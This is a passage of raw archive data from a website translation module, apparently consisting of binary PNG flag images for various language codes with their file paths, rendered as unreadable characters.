IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�ԖKL�E����w���P�����X�DSc�.L|4$Mk�&�u゘�J7�A��2���GDI��&��tQZHZJ���^���3ょ�Vw��l&3�����sFcXO�XgYwH �k�;*�3���%z!��\�JZ��/&i���.��'
�kt*�������}J�2B����{�
��8��(bf� ����o]ݜ�͒��(��m�]�Q9?E��]H�&C��+�*4����!��2<�*�g1IX��$�8�-�~�6D��x�|��wΞ{X�������h��PJQ��A]:���F��S����ohD�<�~�� &R+��vZ}�P������9�֫>-`�4?O��o1O�m#��8~!�M؉���B],b
Tn�/��ҋ/�N����X�u�	�K�nHw˨�.�1I���1>�؛oa���GL�V�hWv��R��ں���4��Lů�>���0ZY�x���8p�8�v�n\Ҡ
�R %B�6i�D���
����ޭ��ב���h�w��"��a�P*y��v^y�VOcY1lm(�� Ҹ���.l�e�l'�\�]^����-
�<�0�ѱ�Z��h�cc�^=��B:���uH?D�7����+M��v�#�;x�g'���d�����Nb�C,!B`tMCatm��5�<wx=N�X���z��&����8�����twpvG����=1BX#�h�VUi�B��<r|�L.`s!�ow+ ��?��9��8�q�n�a��C�/���k�E/SS��P�&��di�������*)��&��}�v�V����v0F�gnBb�!�C�@G�覷�O�dbM���|�{>�"�0Ҋ��!S�(L�o��*�a��
 l6�q�^�W:����5����W��ƭÐb4wIEND�B`�mod_gtranslate/tmpl/lang/24/it.png000060400000001202150746170550013014 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��On�P��q������
��ر`�MXq]r6��("iZ�}ofX�;)�Yɦ�����f~���9e$�8����y�P�J��_?��$�h�7���>
���l]x}��E
\$"\�������xv�voN���E
�ԍZ�U�o1bR���Y�X\Dh�=�8����э"֔F)���N;QV")��Rƚ2֣XY�'�M�6@t%%E��Q��ߧ	�[
�CA�q��
T�?�`JV�q$�~��M��x=��[�zY��j�*�H�s���)�"H�C@�LK���A퇔 �O5L&]d� ��3�W�����b�jBUTs�����*�)�Ls�]s�,����9����F�Ql`{����v�F|���bԮ�4�I�}Ack�mj?�	y�w�q\`��p��ͦ��9�Q	ҍ�a~�|���|>�����zu�w�r��\���I3�x\/�|,��Is'X4�cF������/�2Ke6>IEND�B`�mod_gtranslate/tmpl/lang/24/sv.png000060400000001313150746170550013033 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FQIDATx�엿nA�sw�Pb������<�K
J�!Ez$��k@�; !$j��8vߟ���}{{m9�i2�y��9};���X̌���{��@o�ܥy�Ȁ�����M�������wg�wK�_>�f@?ap�"�
Z�Z���{�π�S�p��I�\�2K�B�z��q1�"�ϵ��=y�O����*y��K�\���o���t8_�g�7n
ϴ�|Ԧ-7�]c{iB�!�U��I4��WnO M�׆����d���Q�!0��׾E��1�7��<Ql�,�C5U�ӊi7����`׭W׹�������u�6W��ћ_�,����e:�p�sl(��ﯳ�E���a�bU�aVƕ��_��R\���7L"Н�!��!���g
�T~5����?9�S!:�O���:�#A�g�&�w����R�b�`f-e�*�	Hp���3h�k�6
	8�I�
Z�����eX"��+�{�'E�ȶ�l;��Y3J�7�ݙj�0���B@@5�u��"Q�-7�ݨ*7�ǔ�h
����u���x��������t8{��
`,N��w�4����IEND�B`�mod_gtranslate/tmpl/lang/24/en-us.png000060400000001220150746170550013427 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx�Ԗ?Ha���\jK��СC�I(�H���H%��@!��Y�ť�[K��S!�!��AK	��`�D��S���Ыפg�|]��X����q����}���tR2V�H�\�>�6���s��?��̋�^�on���P��,K�̌R.%��{)^�[����!	P''󕡡�h���#R��&ww�H&�/��$��}�@�,�}
�e	#��I����ͭ�/�x��u��tS?8���m[�J�$��ll|"��$�0�֫W��	,�ad�>++�f㬮zs}}���^zZdY�ج���d�
{LL<�$�ɓ\k�z{�?q�4m����o���۲Z=îV[?��8�[ej:=/R�y���/b������D;�!Ui�555��B���1K�\Zz�q$�QEaκ�4G�:<���8
���;�����	������T]ׅ��uݵ�[|]���L�p��$�>�Rǟ9j��X��i�[�iZ�"�r{��ԑ�Ɣ�^�p���q�F�j�����s���3]^����IEND�B`�mod_gtranslate/tmpl/lang/24/is.png000060400000001166150746170550013024 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�o�@��/vH��ABa�Tf� DU	�������?�*�0���?��HT�I.vb߻cHjّ)��g�{����={�96	�
c���&�X3w���������|yw���\?���O+)|}����vx<�۫uj޿W؋|���@[ʈ0�.�cp��͚��(�~]��P�g��4�J�q$iF��%�i�M�":I�<S���9f*�ȍ�S�N�J��
['Y�������%#�p�1�Y�Y��l����1R�כL&��0�u>{v��ϫuP�eDQtK�>>���"��€��,Mt:�3.`�!;;��k9a�GH3*�{Zk�'�{�dwϭ
��z
���*��?~�nؾ�v�:[!a �6��X[�9g�����`��Y�oS�[����N��֒��@.�|a�D�f VJb>�v�zc��k�]�^�CJ'9ύ�a�1�c��x�qqL�W�	�
�v�<p.�ӫ�]�k�0���*���:����IEND�B`�mod_gtranslate/tmpl/lang/24/sq.png000060400000001337150746170550013034 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FeIDATx�Ԗ�n�P��c�6b��@()"DA\*��N��R��^!$
J@ $D�
�d�Y����`��D�)ɒu��3��ؙGi	GlGN�t�lɱ0����{.]~1g>8ၮK+7�-5���s����`e����:g�.�:o�Q�C�;��x`Q���LYH��e(9��(ƫ���&oeo>C����1��	:��o���%	�c`/qtq|��9
�J�$i�!��L":��Q��U%/$�]��4gl�Д`3�X�4m�)c� Dt8@��&P+Kz�<-xg`���.:$.E�M}K]Ղ@B�Ct�$hdR��M=�C�����E�Mq|�� �Q����hT����~8���Ք���U��"pum��$�	%�>#dE����)W��A��v�s.aE�G�!�}�e�y2�����C~HD�� �( r�5�<���w�*>T�;Y���]����@�j-
3�C��������t�q!M�8�����D�k`F!S����RH1���`F���C�N
і��Z�o.��y�?��1�wL�N �ɱ���tf�.�4H����v�;�=�,�����|��v-�"P�������3f���IEND�B`�mod_gtranslate/tmpl/lang/24/haw.png000060400000001244150746170550013165 0ustar00�PNG


IHDR�w=�sRGB���gAMA���a	pHYs��k���tEXtSoftwarepaint.net 4.0.12Ck�IDATHK��_HSQ�o�sT�P�C�kQ�C�)��%f��&���MFD 斖:l�wsm6�=,�H�;�3�
Lqk+_����{Y=�y�½>/��w���UqC%qC%qC%�d�?8��ME��Mݳ��ZS�����'������ѧ�B�\4g���:aw-`_��SX>P���K,�=��}^-|b$�h�6`C߁d�3�����V��Ƚ~]��j�>ݓ-o��	L[�@�]��E���Ȍ��H�cd"�Xa��/�:�\.Z*����������pN����(�ޓ�7H���ʾ8��H~{f7
 ����0�p�
N����f����iI�D��o�ޘpO?���A����^���h�m�;El��u{s��s!oQ�R��8}-G�%�KZ���ź|V��F$M�4>���;V�5�!�1Ws���ʛ0RV�-�y�|Z<P-t�!u�X3�BE�4��JqN-�c�@-�&���7\�EB���נ*����B-ܟ����������r@�u�#�S��3IEND�B`�mod_gtranslate/tmpl/lang/24/gl.png000060400000001530150746170550013006 0ustar00�PNG


IHDR�w=�tEXtSoftwareAdobe ImageReadyq�e<�IDATx��VML�`~�v�XۀMt,[j�@�	���Aу!1�7��L�E�^�c�/c8@�I#Q3�����m0ֵk}�m��q�M޴���y��yZF�4��p�v�9Gn%7W[&���ס$��<�%��:�g�N ��bs-@	�X�bSQ�㭃���C�	8FS!�(�:V��dz�8������y�9o��\�NNρj}32�w:��Đ���mn׃NԨ����36�l	����%�H��*X�
��D4��EDěyE+q�xL�ô@����˨��T$(
�8.����X�A�j�`*������hҪ���$��($��e��{?e�$)b١�B�<�^dzp¸��W!�k�X��
rkfR�]�H����vgbp���l����Y
V7>5�Dt�X
�&#�S�r�F`*'�ov�e����;��B�����d�X�z����
Iޓ�6�)P�f���P�k)����y\{?���T�`��z�\�W3�x;�C�f�6�z5�Y�̉8O�<
��f_�m�F|>/,�2�Zun7N���%{U�	i=�����h6�mL��DQ�8�ϟ�\@�ע�ɭ~/X��=*���ː�f.
fz�h-��v�
-�LF�N�?
�/�Y|X��t�o���SL&���݁}�`7ko�a��w�|p�E�

�l��$���[>:�F�ń>J��4��>rg�?8"�B��Ɨ��4�H��W�[���H�j�P�IEND�B`�mod_gtranslate/tmpl/lang/24/pt.png000060400000002064150746170550013032 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��Mh\U���7y�$�ɧ�:Q�֢�TR����'�lWn�֝���*�Q�*~���q��A����V��/�f&3���{��y�yS�i$����c���s�����1�Y��P�
�I{�����~>�e���x��k����}�ш�RLO��<6?=���r���!�1�A�Ib�Z��)�_ɋ�n2Vͱ��n�g�D����E~f�7A������M�xq�g�X<o���0��xw�xΣ�����_��o�7ǁ8NM=ܥ�]��V�%(��z��m����vC�;��a ����g�K���k�9��N0�,XC��%�ņ�ȹ*�wb�Zvc$y��-�#_�mD��8����9�Z��?'Y���.ֆ����`�co�$G[z�*��DD�x�z	�Ba0�8�!!)�}s�r��X'/xl�p�T@���`oYw�zS�Q��������Kf�ͺϷ�L�t���:��_-,�x�&�1OUi,�),�O�l+��i���~Ƨ�X�9�q��m�D���Ϸ9�I��U�J���]��,C{�о
c��b�,�}���b���m���Q��{G�g�~;�(������l�h�D!�0J#��Q�T�B�2��<Ù�>��7��,��c�:��į]��j�$�2\�F:O�X�.��c�,V:Zf��i��B�/o��]�����۽4%�Y�H��t��1�'�������
��J4�*�nZX�����hI--���h��ko�����#��!��u�gw)��^�:W1t�ݥ�:
 �m��6��Y�!.]^Ͳ��/4-m�֭+�`
A�H
��i �~�٫z��\>[970�o�=�;���۵̃+�ھ���
�N�\�o?�䛠��iPWw?N������k*�NIEND�B`�mod_gtranslate/tmpl/lang/24/sm.png000060400000001203150746170550013020 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F	IDATx�Ԗ�kA�?{{��--��
6,mb-�"X�����M�XX�QQLcQ�`i!�b��$����ΌŽ��&�p)X�ۛ��~gnnΙ�i	�l�p@
�gz�;�X�y�ݮO]�lC������6��nNM���ͅX�n\[Fbwçp{�2�7�p�Zd��>���)�FQ�F��Z�����<�w�g/��XL"������Qb��0Q�4�h�eK9<�{��h5�D�>�FY�&RU�k���qt>�p�A������g�FVV.����R�ԃ�HQ��H�%/ڱS���Y��$Ŵ���h�-Y� �x��r�w$>$�ͳ)��a!�ڒ6�Yq��o�ޔ��,?^�s�s�����?U�+�(�����A�{�z�aA��i� �@"��B@
�'����+p��N
6� Fp��)�N*H���~f��4
����ؑ�ß��%`8�s��~�:��(\=Z��U�	7�1�F[IEND�B`�mod_gtranslate/tmpl/lang/24/ta.png000060400000001121150746170550013004 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�jSA�s2��bRm�X�H��p#��,�
>��ڧ*>������qQ�R�$�I���;3�E{�M��f��͙�?3FUY%	+��;0� *�v-Pi��P)��뷛(���ϋ
��G����n�;�N�����gy��$7�����Ѭ�f�b�/Y48���v	�6:h�ձ%�ȸ�*΅��!��7˲S;Nf.�7���]�����d��s�(�� ��P��J�t�D��$7��,ԙ�����I��
~�»�[��I}��Ԧ]&�� c-.�h
e�t��n��r��������c����P}z�8��m������ht�T��gwg}y��ޠ�p9�_��ʤM��F�ϕ��	6�ʁ� &"��`����3b������M�4� (!?���?<��?�,
7lRȦP�������pxll�|��hkS�
$��U�߾�ͭ�=IEND�B`�mod_gtranslate/tmpl/lang/24/ps.png000060400000001403150746170550013025 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�jA�����%q&Q���� !�R�q���.|���Dԝ "H6bfi�B���ӝ��Ln��*Yx���:u�s��O;�Z��\����<��N9�]\\�Bz=�64���_~:�u�ui�Z�N5�CZ3���V��)�H���}�͢��G7�~wmj8oT���x�֚8���8���� �In�$J(���H)���(�r���n}�>l���lQ:�;���!�R�n�K�	��)��������^Fi�Y�M��˝�@�a�[\�I�}�Wo(ߘ��G��#���A@�t���R�8��A��s�:rc���C0q�<#ss�u��K�V�q9��
��t:|��ߢֈ���Uʷ汽��Iuv������;Vb�N� �2�Rh�s��j��iL�"�~�wb�l�����ʔ�dFj� �1&7z?����D���hR�w��:��
ƚ��V��<N� `��n���'�.-!.Nb�z���D/_c�S ��m�Q.zk��B��Ic���`�A�Kf�Tm4f_*�(�+\�zA��մ^�ȋ=���TG;�vIN��#JdQ2�'8@�4O��Ơ���:ES@���c�p���IEND�B`�mod_gtranslate/tmpl/lang/24/ms.png000060400000001417150746170550013027 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�ԖMhQ���L�2�$����6�����X)u�B���T�,�kA]�Ă�(��A]�]Y]�(��iq��
Mkb�Nf23y.���0YxWo�ͻ��=缑���dJ\%��ʊ��L��=� �Q�Ʉۢ�ު3��hhÊSw<C#��(�*{dz����9NG�“W{Ig+ٳC£dA���d�̚�}5�WUP�E�J���ٛ�0L�G�#X�"�n���{=3q/��W@�r]ğ�j��GEpAg���D9ј�U�-�uz��f���l3�SLVBu�6�`;.d
L�"e��+�LD
��k`�Mf�_X]�>
��(���:�xWǹ���ͤ-������7�4"?�����d�֍�#������q�n7�1/o�#��x�,)���8�:MÜ�^�A��ڀJ<i�����S|����<���{�R�eYxk!	h�w@�p��dN9h�g�����[V,1���h�p ��U���6�3|
�!`���dSs�	�jC��f�Dt���A"��&�18t���AFq��%�s���NN��o��!���55�3��;����]!�$��F�O���m/~��1Q�˦��y��� P�q`|�F�Xȥ"�X��W�{�K�5o�IEND�B`�mod_gtranslate/tmpl/lang/24/th.png000060400000000714150746170550013022 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FRIDATx�Ԗ�NA���;8#��X�������ll|;;+�B���@A��D�ۙ�8/�d1�ovw��'�ϟYB`���;'0@
���ȹK`�����16�^���s/2��}w5���@����u9��T'TwX�o��{-l�KH
��k�꭪$Irn+�^�s�7�O\^�0�Q���Z�>�=�� ���n��|�W	��t��q�e`�!(Ka0�2�Ԣ|ޢ�OC���(�+K#�-�`P�3M���M�}�\�
�\����5�$�|gd9+S�^ ��N'V�iD.�_^��&a����]�8�,���nWDx�0��W�3Ro�ۭŨMIEND�B`�mod_gtranslate/tmpl/lang/24/yi.png000060400000001113150746170550013022 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�kA�3;�w���!(� 1m:A��
�VV��Y�����`!��6),����ɑ��c>,�z=o��-|��e�y�y�����{���a4. t�V��+���m��B�$�РC
PW����>�q��!��%���=1]����Kݐ�����Ʊ?1�OL-�n)�1S��1f+�ҍ?�b-\:�+��֢��bzex��ԸJE�I�l�a83��(����X<H�h��ɽ�韜�#i��n���,�S�.��a���*�W���|��?ɋ��977�Ib��K��c�^�8����9U��ם	��!���O����f̍�!��ݹ�(�|�~���|�RlE�*�sm��T�=b�ʭg8�!:�j�h��[HO2kA���L�W7�9/>�g5�Z�����]��{�ֺ��i&�%��\3��οh�5����*~�pg�}lIEND�B`�mod_gtranslate/tmpl/lang/24/mt.png000060400000001007150746170550013023 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�ԖAnAE_
�,�Rbb�|�(�·���|��P,ib����
X��"�jMW՟�k�j�$��8�M����0�@[�O�!g�ޛU�7��w��<pL�Ȍ��Eg6#��!�V���kR����|>xd���@�>�ۜ��o��o�sH�8��9����Q��l�竗�o��Ω7P�0�/=�E��~��+j��n��s�<���@�F�O'�o6�����k��=݋��ţqy�˰y�� 5l4J2��OsϯAiNO�ͣj���@�g�$J��Y,���[*2p���[Yn�ܙ0ŪZk��EddZ	:
���D��I�t����p	t��p���ˍv��k�����*^�b�`l��IEND�B`�mod_gtranslate/tmpl/lang/24/sd.png000060400000001576150746170550013024 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx�Ԗ͋Uu�?�sϽ�z�m���9ji
i+Q��F �,�(�Ѣ���ZF��E�@HB��Y(�D.Ql
s�Qt��eΜs~/O�s�=�r�@f=��y��|����{�VR<VXV@>P���[��D��P{��(���$/|>>��~�;��(�\��������8z4�(e����*����n7*`�V�:�]�B��(\�"�yi�0�Ih4�d:�S��)�%�1��~�Љ:�ak�޹�-�p��"Dx}x��l㷻�s��ԩ�w,
Кi�XP0	׿ʑ�����Oi>{�8Á��5���Ck�>��JT�u�[��ٴQ»��ųܺ;�:g9s�,E�ę�gi�3`"
���HQ���x`5[_ފG;lc�����UnݾIg�
�(Q$&�w��O(�!�gؾ�
�A�_�& ���k�^���/�WE?�\zD�����ǎ�:��gs�6�p6�1Ɛh��K���8}~�(���_����\�:!N��z�-6�ۄ3	V���\lj6������ �9z����$A1���v�:��Ɇ��x��}�"�Ze�"E����%�l�K�l�E��Oqcj������v32�<�×ߟ�ܕ�P�ÉC�e�h4���y������$`^���<lf�`j��(O�.͠T�ߦA�[%`���V�`m>�ZD����h�3ނ��s��z���j�@}��3��F�C��b�X��*��R�z�p�kIEND�B`�mod_gtranslate/tmpl/lang/24/mk.png000060400000002177150746170550013023 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx�Ԗ=�\U��ޛ��~%�M@H�F��DL
Q��!�6B�����""���AEnC�1��VB�$�.������̛y�~�ɺI����{~�����*�3�9n;@Ԁ��v����w�[�|�c6C�Y�X�d�S$�����)�cu�UA֯A+a�Ŋ�G�@o!g���h̰�h<�i>H�-��qm(H� ߕ�nc
�=��C�h�O��д�%�*�����u4�td�M�D��:%v�G�b
T��|�S��(�[�sS߄��Zu�
bQ0�F�����*�h%��
�Pb/�'�y������(�jS��>`b�hQ�����B��2��Ӱ�e���1
��J�YO2Y9��#L��4�7B/�}b�?l�oX}�Oy�����`����Ѿ��N
����.!��
@�P��Vq�{�C�	:�A���
L���w��L�}�Q�� Y�� �b6)f>���~pp@�^#�=�#�%CX���J�H�v)v[N2��H2vK�L+4�����Wn��"&�F0غ�L	���h�X������vFd�b&�AR�"�|�Ek_U;������BǠ�B��������+��z"��(�5b2I�lGB�U6+��b?A`B�(LaZ�՗k�VH
k�g�nG�㜰�����`Z	��l�����{�=�"f2��>�=��IK��;��"�E��i���̝�lv�0B~=G͡i���#!��Ď��ql?�1r�HN!�d;=�}�)�H�hFXV������]�E$*��x�u����N��dXz-g\sD���{�E�ȵ#9�w���5f�(��WDԹ�����Ǡ���[�d�h
�TĎݒ$[#�P�:Z�I�շ�F̼YR{XY9�	��W{��1�i��hW�!��)�C2��t�x��\��VXyK�*���h|P�S8&�;��[��t���_�|�]�0<P��W��L�ÙIEND�B`�mod_gtranslate/tmpl/lang/24/ml.png000060400000001121150746170550013010 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�jSA�s2��bRm�X�H��p#��,�
>��ڧ*>������qQ�R�$�I���;3�E{�M��f��͙�?3FUY%	+��;0� *�v-Pi��P)��뷛(���ϋ
��G����n�;�N�����gy��$7�����Ѭ�f�b�/Y48���v	�6:h�ձ%�ȸ�*΅��!��7˲S;Nf.�7���]�����d��s�(�� ��P��J�t�D��$7��,ԙ�����I��
~�»�[��I}��Ԧ]&�� c-.�h
e�t��n��r��������c����P}z�8��m������ht�T��gwg}y��ޠ�p9�_��ʤM��F�ϕ��	6�ʁ� &"��`����3b������M�4� (!?���?<��?�,
7lRȦP�������pxll�|��hkS�
$��U�߾�ͭ�=IEND�B`�mod_gtranslate/tmpl/lang/24/cs.png000060400000001521150746170550013011 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��M�W��[?ӎa范B����q!
����%� I  4q����EƍQ	"�Qɨ�!�o���&��]U]U�뢧M���Cw��ūMqO�s��<QUf3�����Y$,������h�z�|��ʳ�X�z>��|P�
e(�YG^���U�xR$��ଣj��_���ɛDI^����s�ܒ��r�{\�ֽ�!`��9q�'���x��9q�nG	�:ƣ���[���7~4�_-�����ȍ��o�]�����S��YΊ��t���ZK��l�S�2�8#R��6����H3�fLÂzf&֣��Wj���� �ˏ��%��m�*�|���!<�s7��4��.w���ٸ��Y4-����"	{:�ߛ������^9�{zZ��Z�uX��p�H�g�3vEV�Pu�i�B�N�Upo!�����
6'��ӄ�t�GK�LQzϣ��k
�7�3�.�l���olH���'"u�3_ͳ�=`}M���+�G�αЎR�
�n����1�uZ����~Cr�o�+lM~'Tא�!Vk�d|�1�M�?6cl�/�>�G]��)�Aע�S�(H��t��Q�O�U)���."X�'���"gKT��:�0.�%Q��p�Ў��UX�?!�)㐎F����]�����Qg��VI�|,�R,�n�ĝ�g�,)P���ә&�r)��A���`IEND�B`�mod_gtranslate/tmpl/lang/24/ga.png000060400000001033150746170550012771 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ=r�@����?�Ta�		�������"D\2_��D&Xkei5;��&@�cKlI�����Uݯ��n���q̓q�stx�89p�x���]�
������(w�>���۫�o<0˲�������A{�u
0�O"�R�h*��qݥ����:����D���c��b�7�'����V�*���?��6�;�=*�H�r*ʰ�Π)7�ou9�� �R6Kʦ~��8�~��h�2(B�"T����:��S���)�P4��d~ӏJԽ�DI$g���F0P��$�\ܕ(!9���I����`�v�4��C�	CI�����$4��b C��� U;�D���>U2���t��Y��m+���A��|�7~QŽ;���w�ŁN�^o���\<	X�g�W�w�r�'��!�IEND�B`�mod_gtranslate/tmpl/lang/24/sr.png000060400000001761150746170550013036 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FwIDATx���k�E�?3﻾��ƴ)�1?j[V�*�^")EE��PA�����੗��/z�Eăk�n��JPYi�l���3�x�&�m��Mqs�s�w杙�3ߙg~(�{i�=�{
���,�����Ͻ���g�Z�з���ZSxf�����e�!0�K�jp��f�I�H��t�wwUTG[��w��C�$��}$n�Z�x
xyԄ����F/q�e�ރ�,�Ho�L�������ۏ���߻��v_�v`���E����c��`�� ��4��$�Jz��<��P�X$�(�Z;j�}���&��
đ�ב/�-w��ނ_�t��ӌ�/ٖ��+ߑ_�Q_F�!(�z��ZX#"��{�_ؗcU'�����FJ��[�ud���D���Kϣ�4��(�x������;`Tw��@�(��2��@f�z���v�~�����1�{_�fO#��Ëx�o�y�d=+�!3�	`�6S�L�N��a��O�{�5ܥ
�:�w^�;9��� ��=���kݭ@��nPuhE�����b-�t���О���� �k����X��֠No�м\�\�0X:�3����k��ڶm�VH�-k�9�m:�ˋ���#�h\,cE��q�>��8) 2�>�&�X��m�gտ~�0�5�0�}k!+�A�R]}	qO�df3�&�$q;Ycn��O{�ڻO�zd��R��o�p�Ӟ/\p��$I0���Λ��co~���X9�K
n.`�(�:��ۈ�G�dEWn����r�"?����]��(�X,N��4�3l��]:�:�۪�;M��e]{�8Y�+"�j���m��8p��",�&l�}����8�k������IEND�B`�mod_gtranslate/tmpl/lang/24/ceb.png000060400000001320150746170550013132 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FVIDATx�ԖOHQ�?o�s��.�(A:$ADС��!(�.ٱ��v:��N
���H�C$�$a��a����fm[���y��86�j�/���w~���k-;	�Ǝ@)��ű�S@�R�������R�e�ʕ��gV9�����<����Y(�������#LL�aq��R*���^�6:��#�O�!@ŒA�����I��^����܍[��J�6��`�Z�w4(�N1>�����m�(%�f	�.ߒN��t��B�ry)%R6�"� ƘH����8CC��fS��L���U��F����<8�w�,8�˹���7�x�9^����Nd@8��V�|g/8� �
z۾�h�a7~ʥ;^�f��B�>���-�Y�Û�a��0֘�P��`S��!)�� ��z������%���Mb��
���"�>cX/��[��+#2i��i~N��_t`�uj�k�O��"�n%x��1�	�`]���U�w��s���cH&Ę�O�R�4�Y����	�`tւ
��(�?˲r���Dڅ�Z�<A@�o��|>Ŏ����Ѐ/�������F`�G�IEND�B`�mod_gtranslate/tmpl/lang/24/pl.png000060400000000574150746170550013026 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��=j1F�ff�f r��&��E��2�@�[�R̀'S,lc7Vcd~�,�I��
4�`�엱�9p�����&�7{�s���%��l߫�t�0�?��?��R�]w;�ӱD���ڐ)�)P%S��
���$Ջ�D�@���0@�en���u
�3��+Pu��mr�1롊
9<�;�`VS
�	�`+��5G`8�@���|W}����</�c�6���"J�
���X�����w#�x1IEND�B`�mod_gtranslate/tmpl/lang/24/iw.png000060400000001426150746170550013027 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�엿Oa�?��J�2�e����Eb��0��au2q�ſ@t11&0801�:���8�1�(H�U�C����}��#��.>�ݽ�������Zk)
���Ż�"��	Ĵ�ن|�m��@��@�ҭy.����qк��Р�C
Q1'�,�Ėޕ0Eu�6�x�q l(����,����\9� �ǚ}pvH�z
�U
���/��8����Z��Q���C*���X�A�s�:�p�-��K�"O*��V.��˓LeU�jr����_`��4EL�3߉����K��9ۥ-�޵�FM.0ket��:ڢt�F�=����W�`��7�:k2^�F�8�t1Í�^"!�H���X/��'"���]�6lGb��F4���]�#%PkS2��ʺ��P���Ž���E���[6��5�*�4K!ľ�5Ssi��.+_�I-m�Z��廯�=�Nv�aj.���0��+@�uݴi������m0�f��{Ƈ���9X*{�`�P��RU��&Fz�B�6^iӬ������s��>���L���cB��>���aױ�Y���J�q'Th�i���G܊�t�u	˲�ߒ�f5�0��²,_��b�8��>7��kQ<4�~Jȉ���F�9ک���CtIEND�B`�mod_gtranslate/tmpl/lang/24/su.png000060400000001263150746170550013036 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F9IDATx�Ԗ�kTA��޻�d�(1j���I!K�����B��VP�+�¿@�2"�"V�	H�E�-qQ|$��{3s�b�+Zd�M��g.��>ΜQ�963rlrl:�<��=����J�o\Z>���@l��ޑ���g326�Ļ��b�\��"��(z��o%|R�����&G�Vp��)P)�s�}���e���rg���b	IQ��C�|�qj�����C2��q�@j0��$���̌X,���\���k�'��oc��n�LH`�_q�����8gFO0R(w��������3��)x��5�o�L��+�@D~3��P�-I�??y5͋�/�R9���k�)5���T?�%Az��`*{`"Z:d%
��*�������1���p�֮rm�-�Y���r�"2�ɝ�\���_i1 �&U�Ncj��o�s��]/�J����X�S�r��O�|���R��uM�Z��>�x~1B��,�����i��s�j�hj>��8P��E��Z�
���K��0��
({�m=.�|�&Z_&W����_��q�AO�FIEND�B`�mod_gtranslate/tmpl/lang/24/sn.png000060400000001503150746170550013024 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�ԖKlLa��}�CG;C��&
-*bS�Dh����6b��!�Xh�"�4*Ҏ��x$�J��4�h;35�;����L	Z�gs����|�s��J)&34&9& ��綁455��<�c�(��i�	!�m<2����r�/%����)|s��8�?��� K�mBRI�ps����#n�4M���s&�(uM��/����iZZo�=}H��ZV����M��1��7�R�n׽
��T�ӹ� ��5��/��Yk5��ِ� �Rh�]���6��e��_ŒM�i�t�]K�n�x��Fא�3�Z[q����D	��FjV��z���
kx�bu'N���k�'�e` ڻp�7���V���.bi����t
Ϟ�Xe%�Hdl��o 9�R�X������^R�A����b�G��4��ioo�����"�%l|>��/��/��������x��
1vWy�R�u���[3q���\�F�������?^�v�����@�]��������་G�|m'���y�#"���1��
2�¼z���ۺ��@��]8h�Q
�#�՟���S�*���6�7�'�r>�neO�a�^���4�eٹ	���7��?C߲�Y!�Q��~�H~gw��r��@p�NБ�h��uM`8�%��Wŏ�d'�GxC�IEND�B`�mod_gtranslate/tmpl/lang/24/ca.png000060400000000741150746170550012772 0ustar00�PNG


IHDR�w=�tEXtSoftwareAdobe ImageReadyq�e<�IDATx��V=O�@}���GKS�V������2�t�0331�/ ~�c�I�i���n)��܁���<����(k-�yl�l�@��d>YS;#K��_�&P
�o�L�z������/��j1�kM�Jaf1�]�Tq����{3^��~)l�hͮ��]O��L�Z� �$��B`�SlN�\�@����A��PSF&����1�lN�q�$B%r`��"�݌�$��	̱LI��R��g�,(rB]�W�.��GeҠ�F�5k�[#C�������n�DVKğ��Q��d(ˎ�!��.z:�Q�Z2�i��ak���E ��%[̢5A�7�V�ݸ����R�w�?FƑ�l��+��Q�ʍ��<<���U|	0����(�¯IEND�B`�mod_gtranslate/tmpl/lang/24/te.png000060400000001121150746170550013010 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�jSA�s2��bRm�X�H��p#��,�
>��ڧ*>������qQ�R�$�I���;3�E{�M��f��͙�?3FUY%	+��;0� *�v-Pi��P)��뷛(���ϋ
��G����n�;�N�����gy��$7�����Ѭ�f�b�/Y48���v	�6:h�ձ%�ȸ�*΅��!��7˲S;Nf.�7���]�����d��s�(�� ��P��J�t�D��$7��,ԙ�����I��
~�»�[��I}��Ԧ]&�� c-.�h
e�t��n��r��������c����P}z�8��m������ht�T��gwg}y��ޠ�p9�_��ʤM��F�ϕ��	6�ʁ� &"��`����3b������M�4� (!?���?<��?�,
7lRȦP�������pxll�|��hkS�
$��U�߾�ͭ�=IEND�B`�mod_gtranslate/tmpl/lang/24/my.png000060400000003361150746170550013035 0ustar00�PNG


